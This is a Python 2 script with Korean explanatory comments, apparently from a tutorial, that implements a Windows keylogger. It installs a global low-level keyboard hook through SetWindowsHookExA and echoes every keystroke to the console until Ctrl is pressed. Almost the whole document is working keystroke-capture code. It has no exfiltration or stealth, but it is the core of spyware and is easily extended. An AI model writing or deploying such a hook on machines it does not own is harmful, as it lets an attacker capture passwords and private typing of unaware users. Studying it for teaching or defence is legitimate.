Rotiple

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32      #windll을 사용해서 user32와 kernel32형 변수를 선언한다. 해당 DLL에서 제공하는 함수를 사용할 때는 'user32.API명' 또는 'Kernel32.API명'과 같은 방식으로 사용할 수 있다.
kernel32 = windll.kernel32

WH_KEYBOARD_LL=13   #변수선언 Win32 API 내부에서 정의해서 사용하는 변숫값들은 MSDN이나 검색으로 알아보자.
WM_KEYDOWN=0x0100
CTRL_CODE = 162

class KeyLogger:    #클래스 정의 (훅 설정 해제)
    def __init__(self):
        self.lUser32    = user32
        self.hooked     = None

    def installHookProc(self, pointer):     #훅 설정 함수 정의 user32 DLL의 SetWindowsHookExA() 함수를 사용해서 훅을 설정한다. 모니터링 할 이벤트는 WH_KEYBOAD_LL이며 범위는 운영체제에서 실행되고 있는 모든 스레드로 설정한다.
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
            )
        if not self.hooked:
            return False
        return True

    def uninstallHookProc(self): #훅해제 함수 정의 user32 DLL의 UnhookWindowsHookEx()함수를 사용. 훅은 시스템에 많은 부하를 준다 목적달성시 반드시 해제!
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn): # 함수 포인터 도출 훅 프로시저(콜백 함수)를 등록하려면 함수의 포인터를 전달해야 한다. cytypes에서는 이를 위한 메서드를 제공한다. CFUNCTYPE()함수를 통해 SetWindowsExA() 함수에서 요구하는 훅 프로시저의 인자와 인자형을 지정한다. CMPFUNC() 함수를 통해 내부에서 선언한 함수의 포인터를 구한다.
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam): # 훅 프로시저 정의 훅프로시저는 이벤트가 발생했을 때 사용자가 단에서 처리를 담당하는 콜백 함수다. 들어온 메시지의 종류가 WM_KEYDOWN에 해당하면 메시지 값을 화면에 프린트해주고 메시지값이  키의 값과 일치하면 훅을 제거한다. 처리가 끝나면 훅 체인에 있는 다른 훅 프로시저에게 제어권을 넘겨준다(CallNextHookEx() 함수)
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)
    hookedKey = chr(lParam[0])
    #print hookedKey
    sys.stdout.write(hookedKey) #한줄에 이어서 보여주기
    if(CTRL_CODE == int(lParam[0])):
       print "Ctrl pressed, call uninstallHook()"
       keyLogger.uninstallHookProc()
       sys.exit(-1)
    return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():  #메시지 전달 GetMessageA() 함수는 큐를 모니터링하고 있다가. 큐에 메시지가 들어오면 메시지를 꺼내서 훅 체인에 등록된 맨 처음의 후으로 전다라는 역할을 한다.
       msg = MSG()
       user32.GetMessageA(byref(msg),0,0,0)

keyLogger = KeyLogger() #start of hook process
pointer = getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
    print "install keyLogger"

startKeyLog()